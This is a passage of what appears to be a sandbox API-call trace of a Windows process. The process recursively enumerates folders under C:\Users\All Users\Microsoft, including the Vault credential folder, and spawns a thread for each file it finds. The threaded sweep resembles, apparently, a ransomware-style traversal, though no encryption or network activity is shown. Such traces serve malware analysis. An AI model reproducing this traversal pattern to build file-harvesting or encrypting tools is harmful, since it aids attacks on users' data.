(_String1="Default Pictures", _String2="..") returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a52b0 [0127.087] wcscpy (in: _Dest=0x202a52b0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0127.087] wcscat (in: _Dest=0x202a52b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0127.087] wcscat (in: _Dest=0x202a52b0, _Source="Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0127.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a52b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0127.087] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0127.087] wcscmp (_String1="guest.bmp", _String2=".") returned 1 [0127.087] wcscmp (_String1="guest.bmp", _String2="..") returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5610 [0127.088] wcscpy (in: _Dest=0x202a5610, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0127.088] wcscat (in: _Dest=0x202a5610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0127.088] wcscat (in: _Dest=0x202a5610, _Source="guest.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" [0127.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0127.088] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0127.089] wcscmp (_String1="user.bmp", _String2=".") returned 1 [0127.089] wcscmp (_String1="user.bmp", _String2="..") returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e390 [0127.089] wcscpy (in: _Dest=0x1b85e390, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0127.089] wcscat (in: _Dest=0x1b85e390, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0127.089] wcscat (in: _Dest=0x1b85e390, _Source="user.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" [0127.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0127.096] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0127.096] FindClose (in: hFindFile=0x1cd86190 | out: hFindFile=0x1cd86190) returned 1 [0127.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21050) returned 1 [0127.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0127.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1d40) returned 1 Thread: id = 986 os_tid = 0x1610 [0101.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd862b0 [0101.434] wcscpy (in: _Dest=0x1cd862b0, _Source="C:\\Users\\All Users\\Microsoft\\Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0101.434] wcscat (in: _Dest=0x1cd862b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\" [0101.434] wcscat (in: _Dest=0x1cd862b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\*") returned="C:\\Users\\All Users\\Microsoft\\Vault\\*" [0101.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce212c0 [0101.434] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0101.435] wcscmp (_String1=".", _String2=".") returned 0 [0101.435] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.435] wcscmp (_String1="..", _String2=".") returned 1 [0101.435] wcscmp (_String1="..", _String2="..") returned 0 [0101.435] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.435] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0101.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce212c0) returned 1 [0101.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd862b0) returned 1 [0101.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 Thread: id = 987 os_tid = 0x1614 [0101.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd862b0 [0101.440] wcscpy (in: _Dest=0x1cd862b0, _Source="C:\\Users\\All Users\\Microsoft\\VISIO" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO" [0101.440] wcscat (in: _Dest=0x1cd862b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO\\") returned="C:\\Users\\All Users\\Microsoft\\VISIO\\" [0101.440] wcscat (in: _Dest=0x1cd862b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO\\*") returned="C:\\Users\\All Users\\Microsoft\\VISIO\\*" [0101.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce212c0 [0101.440] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0101.440] wcscmp (_String1=".", _String2=".") returned 0 [0101.440] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.440] wcscmp (_String1="..", _String2=".") returned 1 [0101.440] wcscmp (_String1="..", _String2="..") returned 0 [0101.441] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.441] FindClose (in: hFindFile=0x1cd86310 | out: hFindFile=0x1cd86310) returned 1 [0101.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce212c0) returned 1 [0101.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd862b0) returned 1 [0101.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 Thread: id = 988 os_tid = 0x1618 [0101.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd862b0 [0101.443] wcscpy (in: _Dest=0x1cd862b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0101.443] wcscat (in: _Dest=0x1cd862b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0101.444] wcscat (in: _Dest=0x1cd862b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\*" [0101.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce212c0 [0101.444] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\*", lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0101.444] wcscmp (_String1=".", _String2=".") returned 0 [0101.444] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.444] wcscmp (_String1="..", _String2=".") returned 1 [0101.444] wcscmp (_String1="..", _String2="..") returned 0 [0101.444] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0101.444] wcscmp (_String1="AIT", _String2=".") returned 1 [0101.444] wcscmp (_String1="AIT", _String2="..") returned 1 [0101.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86430 [0101.444] wcscpy (in: _Dest=0x1cd86430, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0101.445] wcscat (in: _Dest=0x1cd86430, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0101.445] wcscat (in: _Dest=0x1cd86430, _Source="AIT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" [0152.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4 [0152.356] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0152.356] wcscmp (_String1="Caches", _String2=".") returned 1 [0152.356] wcscmp (_String1="Caches", _String2="..") returned 1 [0152.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b8589d0 [0152.356] wcscpy (in: _Dest=0x1b8589d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.356] wcscat (in: _Dest=0x1b8589d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.356] wcscat (in: _Dest=0x1b8589d0, _Source="Caches" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Caches") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Caches" [0152.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8589d0) returned 1 [0152.357] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="DEVICE~1")) returned 1 [0152.357] wcscmp (_String1="DeviceMetadataStore", _String2=".") returned 1 [0152.357] wcscmp (_String1="DeviceMetadataStore", _String2="..") returned 1 [0152.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e890 [0152.357] wcscpy (in: _Dest=0x1b85e890, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.357] wcscat (in: _Dest=0x1b85e890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.357] wcscat (in: _Dest=0x1b85e890, _Source="DeviceMetadataStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" [0152.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64 [0152.358] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0152.358] wcscmp (_String1="DRM", _String2=".") returned 1 [0152.358] wcscmp (_String1="DRM", _String2="..") returned 1 [0152.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b8589d0 [0152.358] wcscpy (in: _Dest=0x1b8589d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.358] wcscat (in: _Dest=0x1b8589d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.358] wcscat (in: _Dest=0x1b8589d0, _Source="DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" [0152.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8589d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1570 [0152.359] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0152.359] wcscmp (_String1="GameExplorer", _String2=".") returned 1 [0152.359] wcscmp (_String1="GameExplorer", _String2="..") returned 1 [0152.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c2130 [0152.359] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.360] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.360] wcscat (in: _Dest=0x1b7c2130, _Source="GameExplorer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" [0152.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8 [0152.361] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="POWERE~1")) returned 1 [0152.361] wcscmp (_String1="Power Efficiency Diagnostics", _String2=".") returned 1 [0152.361] wcscmp (_String1="Power Efficiency Diagnostics", _String2="..") returned 1 [0152.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4800 [0152.361] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.361] wcscat (in: _Dest=0x202a4800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.361] wcscat (in: _Dest=0x202a4800, _Source="Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0152.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a4800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d4 [0152.362] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0152.362] wcscmp (_String1="Ringtones", _String2=".") returned 1 [0152.362] wcscmp (_String1="Ringtones", _String2="..") returned 1 [0152.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1f70 [0152.362] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.363] wcscat (in: _Dest=0x1b7c1f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.363] wcscat (in: _Dest=0x1b7c1f70, _Source="Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0152.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15cc [0152.363] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0152.364] wcscmp (_String1="Sqm", _String2=".") returned 1 [0152.364] wcscmp (_String1="Sqm", _String2="..") returned 1 [0152.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858eb0 [0152.364] wcscpy (in: _Dest=0x1b858eb0, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0152.364] wcscat (in: _Dest=0x1b858eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0152.364] wcscat (in: _Dest=0x1b858eb0, _Source="Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0152.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb8 [0152.365] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1ce212c0 | out: lpFindFileData=0x1ce212c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0152.365] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0152.365] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0152.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 